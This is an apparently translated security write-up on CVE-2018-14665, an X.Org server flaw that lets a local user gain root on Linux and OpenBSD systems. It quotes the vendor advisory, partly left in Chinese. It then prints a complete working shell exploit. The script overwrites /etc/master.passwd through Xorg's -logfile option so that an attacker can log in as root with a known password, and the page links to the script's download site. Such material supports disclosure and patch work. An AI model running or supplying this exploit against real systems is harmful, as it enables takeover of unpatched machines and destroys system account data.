CVE-2018-14665

0x00 Introduction

Indian security researcher Narendra Shinde discovered a high-risk vulnerability (CVE-2018-14665) in the X.Org Server package that allows a regular account to escalate privileges to root. It affects major Linux distributions including OpenBSD, Debian, Ubuntu, CentOS, Red Hat, and Fedora.

The Xorg X project provides an open-source implementation of the X Window System (X11, or simply X), a windowing system for bitmap displays. It offers the basic framework for a GUI environment: drawing and moving windows on a display device and interacting with a mouse and keyboard.

Shinde found that the Xorg X server fails to properly handle and validate arguments for at least the following two command-line parameters:

• -modulepath: sets the directory path to search for Xorg server modules.
• -logfile: sets a new log file for the Xorg server, instead of using the default log located at /var/log/Xorg.n.log on most platforms.

According to Narendra Shinde, low-privileged users can exploit this to execute malicious code and overwrite any file on the system.

The vulnerability was introduced in the X.Org server 1.19.0 package over two years ago.

Xorg published a security advisory regarding CVE-2018-14665.

“当X服务器以提升的权限运行时（即，安装Xorg并设置setuid位并由非root用户启动）。”读取Xorg  建议。 

“-modulepath参数可用于指定要在X服务器中加载的模块的不安全路径，允许在特权进程中执行非特权代码。

由于在解析选项时检查不正确，-logfile参数可用于覆盖文件系统中的任意文件。“

0x01 root

Security expert Matthew Hickey also released a proof-of-concept exploit that allows an attacker to take over a vulnerable system with three or fewer commands.

OpenBSD's #0day LPE through CVE-2018-14665 can be triggered from a remote SSH session without being on the local console. An attacker can literally take over affected systems with three or fewer commands.

Exploit script: https://hacker.house/releasez/expl0itz/openbsd-0day-cve-2018-14665.sh

POC:

#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root. 
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD. Errata: was 
# unpatched 0day for a day on release by Xorg for
# OpenBSD systems - patched 26-10-2018.
# 
# Credit for cve-2018-14665 goes to Narendra Shinde.
# Theo explains why this flaw made it into OpenBSD
# stable releases (tested 6.3 & 6.4) as 0day himself 
# here:
#
# https://marc.info/?l=openbsd-tech&r=1&b=201810&w=2
#
# "That is the first localhost root hole in quite a 
# long time." - Theo de Raadt 25/10/18
#
# This exploit works on OpenBSD 6.3 and 6.4, ymmv.
# requires the ability to run "su" and a local
# account. Run this exploit once and it will backup
# the original passwd file to /etc/master.passwd.old
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back 
echo [+] type 'Password1' and hit enter for root
su -

Note: After successful exploitation, the new root password is Password1. The original /etc/passwd file is backed up to /etc/master.passwd.old.

0x02 Reference Links

https://twitter.com/hackerfantastic

https://securityaffairs.co/wordpress/77402/hacking/cve-2018-14665-linux-distros.html

https://hacker.house/releasez/expl0itz/openbsd-0day-cve-2018-14665.sh